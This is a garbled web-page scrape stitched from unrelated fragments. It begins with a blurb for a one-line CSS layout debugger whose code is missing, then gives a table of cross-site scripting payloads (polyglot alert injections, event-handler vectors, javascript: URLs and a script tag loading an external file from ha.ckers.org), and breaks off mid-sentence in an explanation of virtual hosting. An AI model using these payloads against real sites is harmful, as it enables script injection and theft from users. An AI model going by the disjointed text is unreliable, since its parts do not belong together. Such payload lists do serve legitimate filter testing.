A tweet-sized debugger for visualizing your CSS layouts. Outlines every DOM element on your page a random (valid) CSS hex color.
One-line version to paste in your DevTools
Use $$ if your browser aliases it:
~ 108 byte version
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
When hosting our web applications, we often have one public IP
address (i.e., an IP address visible to the outside world)
using which we want to host multiple web apps. For example, one
may wants to host three different web apps respectively for
example1.com, example2.com, and example1.com/images on
the same machine using a single IP address.
How can we do that? Well, the good news is Internet browsers